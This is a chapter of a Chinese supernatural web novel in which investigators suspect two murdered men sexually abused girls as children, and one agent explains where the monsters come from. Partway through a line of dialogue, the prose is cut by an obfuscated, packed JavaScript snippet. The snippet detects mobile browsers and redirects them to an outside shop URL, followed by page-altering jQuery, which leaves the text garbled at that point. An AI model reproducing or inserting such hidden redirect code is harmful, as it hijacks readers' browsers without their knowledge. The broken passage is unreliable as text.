10. 第 10 章day3

作品:《神秘复苏后恶女大杀特杀

    “现在的问题是,这两人被剁掉的几把是不是在暗示他们强.奸过别人。如果是,那当初余杰勇强.奸的人到底是毕夏还是毕夏的熟人?”


    宣又夏皱着眉翻异调局半小时前才发过来的公民资料,于盼刚打印出来,厚厚的资料拿在手上还是热乎的,带着些油墨味。


    “毕夏的医疗资料没有显示过她看过妇科。”


    于盼猜测:“有没有可能是因为时间较为久远,当时小县城还是使用纸质档案没有联网,所以没有记录到。”


    “可能是时间比较久了?如果她是很小的时候看的妇科,那没有资料记载也很正常。那时候小地方的医院的档案还没联网。”沈玄猜测。


    “毕夏今年二十四岁。”


    宣又夏无言地看着她,半晌才开口:“如果照你这么说,那毕夏受到侵犯、看妇科的年龄一定很小,甚至才五六岁——那个时候区域卫生信息平台建设确实没有全面展开。”


    “可问题是,她当时是未成年人,甚至是幼童。如果她当时确实被侵犯了,那医院检查出来不是应该报警吗?可她的档案上同样没有相关的报警记录。”


    “我回来了。”


    正当屋子里的人陷入沉思时,一只被磨砺得粗糙的手推开了房间门。紧接着出现的便是一双惨白的瞳孔与瞳孔中藏不住的疲惫。


    沈玄奉路忆然之命去审问习芸和习鹏的家人。连着一个下午长时间发动能力,虽然面上不显,沈玄却觉得自己浑身的力气都像是被抽走了一般,走起路来都是飘忽的。


    “习芸父母的表现很正常,那种要好的亲戚死了所以内心很悲伤的正常。对于习鹏的死他们没有什么别的想法,他们觉得习芸也应该很悲伤——习芸小时候和习鹏的关系好像还算可以,习鹏虽然是习芸叔叔,但只大了她十岁,习芸以前经常去找习鹏玩。”


    沈玄被自己羸弱的队长扶到床边,立刻就迫不及待地坐下猛喝一大口水,冰凉的水顺着肠道一路往下,沈玄感到自己终于从云端上爬下来落到地上了。


    “习芸……她的内心比较复杂,又恐惧又兴奋,还藏着一些隐约的害怕和担忧,满脑子都是两个字。”


    沈玄抬头看着毕夏,一字一顿地道:“——活该”


    “习芸和习鹏的关系,怎么听起来跟毕夏和余杰勇的关系那么像?”毕夏若有所思地来回踱步。


    她思考问题的时候脸色并没有太好看,总是沉沉得像是全世界的人都欠她一千万一样,眉眼间的戾气几乎能溢出来。


    “都是小时候在村里和对方关系很好……嗯,或许不能说好,但总是经常凑在一起就对了,都是长大后不怎么接近,都是觉得死的那个人活该。”


    毕夏嗤笑一声:“标准的爱对亲人下手的恋童癖模板。”


    “可难道毕夏和习芸的父母不知道吗?”


    于盼小心翼翼地问,感觉身旁这个队友的情绪忽然间变得稀烂:“正常人都不可能和侵犯过自己女儿的人再有来往吧?那怕是表面上的客套来往都令人感觉很恶心啊。”


    这也是路忆然在思考的一个问题。


    如今看来,这两方之间何止是有表面上的客套来往,春节竟然还凑在一起其乐融融地过年。整得一副什么都没发生过的模样,看得路忆然都怀疑自己和宣又夏的猜测是不是太过阴暗离谱了。


    “如果说他们不爱自己的女儿不在意这个那看起来也不像,单就毕夏家我觉得她爸爸妈妈都很宠爱、很关心她啊。”


    “沈玄姐可以看到别人的想法,如果他们真的强.奸习芸和毕夏了,那不可能完全没有人知道吧?可他们心里似乎都没有想到这一茬……”


    于盼越说越小声,声音到最后几乎是收着的,她小心翼翼地看了眼已经停下脚步站在原地一动不动的宣又夏,很担心这个新队友会因为被反驳了猜测而勃然大怒。


    “好想直接把毕夏绑过来问她到底是怎么一回事。”宣又夏望着窗外,端的一副欣赏风景的模样,说出来的话却是杀气腾腾得咬牙切齿。


    “不合规。”


    路忆然叹了口气,口出狂言:“异调局的规矩实在是太古板了。”


    沈玄假装没听到地移开了视线,并不想看此刻自己的队长到底在想什么。


    她岔开了话题:“话说回来……你真的要去和毕夏一起睡吗?”


    脸上满是欲言又止的一言难尽吗,就连白得像珍珠一样的眼珠中都能让人轻而易举地看出“这真是个坏主意”几个字。


    “当然了。”宣又夏满不在意。


    “队长不是说那只异种好像只能在晚上活动吗?那我就和毕夏凑到一起看看能不能会会它……而且我不用异能时看起来就像普通人一样,完全不造成威胁,可以打它个措手不及。”


    宣又夏微笑:“毕竟队里能和它一战的,除了队长,就只有我了。”


    ——


    “……她为什么也在这里?”习芸缩到毕夏身旁,声音细细弱弱,像是受惊的小猫。


    眼神正投向闲然自得优哉游哉地靠在床边看风景的宣又夏身上。


    她实在没搞懂,到处都是枯草和蟋蟀的风景到底有什么好看的。


    毕夏安抚地摸了摸习芸的手背:“她来保护我们。”


    “到时候那个怪物要是再过来,我们就把她丢出去先挡着,这样比较好跑。”她的声音压得同样很低。


    “……我听得到哦。”宣又夏有些无奈地回头。


    “哦……那她的能力是什么?”习芸怯生生地问,有些好奇地看着宣又夏。


    毕夏同样好奇地看向宣又夏,房间里的空调开了暖风,尽管加湿器还在不断运作,却还是燥燥的,绷得她的身体像是干裂的土地一样,很不舒服。


    可眼睛却是亮闪闪的,像是漂亮的星星,摄人心魄。


    不只是宣又夏想了解毕夏,毕夏也想了解宣又夏。


    “不能说哦。”宣又夏好脾气地笑了笑,习芸才十八九岁,刚完成高考没多久,身上还有着没踏入过社会是天真感,性格怯怯的,有点像她正在上初中的妹妹。


    她的态度格外温和,像哄小孩一样,不自觉地带着些宠溺:“异能是异能者身上最大的秘密,如果被别人知道的话,可能会有生命危险。”


    “啊?为什么?”习芸瞪大了眼睛,“你们的对手不是异种吗?”


    “人有好坏之分,异能者当然也有。”


    宣又夏:“有人觉得异能是一份责任,也有人觉得异能是一份特权。”


    “他们觉得自己应该像古时候的皇帝一样拥有至高无上的地位,生杀予夺全凭自己心情,普通人应该给自己做牛做马……这种人并不少见。尽管大多数都因为过于孤傲自负死在了异种手上,但仍有部分人存活下来了。”


    “比起异种,活下来的这部分人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953215|193090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更恨异调局。”


    宣又夏皱了皱眉,刻薄评价:“简直莫名其妙。”


    “隐藏异能也是为了避免被他们找到弱点,被打个措手不及。”


    毕夏:“不是异能普查了吗?你们难道不能找出这些人一网打尽逼他们就范吗?”


    “大小姐。”


    宣又夏有些诧异毕夏竟然会有这么天真的想法,对她的称呼也不由得带上了些许调笑的无奈:“异调局的内部可没有你想象中那么牢不可破。”


    她咂了声,意味深长地道:“非常腐败啊。”


    习芸的表情一言难尽中带着些惊奇,满脸都写着“这是我能知道的事吗?”


    毕夏装傻充愣地低头看手机假装完全没听到宣又夏说话。宣又夏是大小姐真有资本无所畏惧,她可怕被人暗地里做局杀人灭口呢。


    习芸被宣又夏话中的“违规味”勾起了些许兴趣,对她的警惕像被打散的白雾般消失得无影无踪。她抱着淡黄色的小兔公仔,朝宣又夏所在的地方挪了挪:“……异种到底是什么东西?”


    “人体实验的产物、因核辐射而变异的动物、奇怪的天外来物、外星人侵略地球的先锋队、复苏的活化石……最后这个是什么鬼?你们以为异种是恐龙吗?”


    宣又夏笑吟吟地看着习芸:“异种的来源众说纷纭,这是最主要的几种猜测吧?”


    习芸点点头。


    “其实都错了,它们是另一片时空的产物。”


    “神秘复苏不是开始,神秘入侵才是。”


    宣又夏是个很好的故事讲述者,声音时轻时重抑扬顿挫娓娓道来,就连毕夏都不自觉间将视线从手机屏幕上移开,转到了她的身上。


    “神秘入侵发生的时间至今还不能确定,一千年前?一万年前?一百万年前?谁也不知道。”


    “这群奇怪的生物通过撕裂时空来到了地球,但因一时之间无法适应地球的生态而陷入了沉眠。如今沉眠结束,神秘复苏便开始了。”


    “为什么会有部分人类拥有异能?这个问题没有准确的答案,异调局内部推测是因为在神秘入侵的过程中,地球上的部分生物进行了进化,在异种沉眠的时候,这部分进化基因也处于沉眠的状态之中,直到神秘复苏才觉醒。”


    习芸瞪大了眼睛:“……原来是这样吗。”


    毕夏:“异调局怎么会知道这些?”


    异调局连异种怎么划分、异种到底有几种类型、异种和异能的关系都没有搞清楚,怎么会知道异种的来源?这在毕夏看来简直和小学生突然做出了一道微积分题一样不可思议。


    宣又夏微微笑:“秘密。”


    在使用异种化时,宣又夏会短暂地得到异种的能力,被异种的性格所影响,自然也能窥探到些许异种的记忆。


    她第一次发现时只能捕捉到一两个细微的字词,异种的记忆混乱而具有侵蚀性。当她窥探时,那些记忆像是深海中巨大章鱼的幽深触手,拼了命地要把她往下拖。


    她用了很长的时间,一次又一次踩着濒死的线,才勉强从无数个异种的记忆中拼凑出这么一个真相。


    有好几次她只差那么一点就被那些触手拖了进去,宣又夏甚至能看到如水草般的触手缠绕着的那扇门。门像眼睛一样注视着她,微笑着敞开,欢迎她的到来。


    宣又夏不敢想象如果她不小心摔进了那道腥红的门内,会发生什么。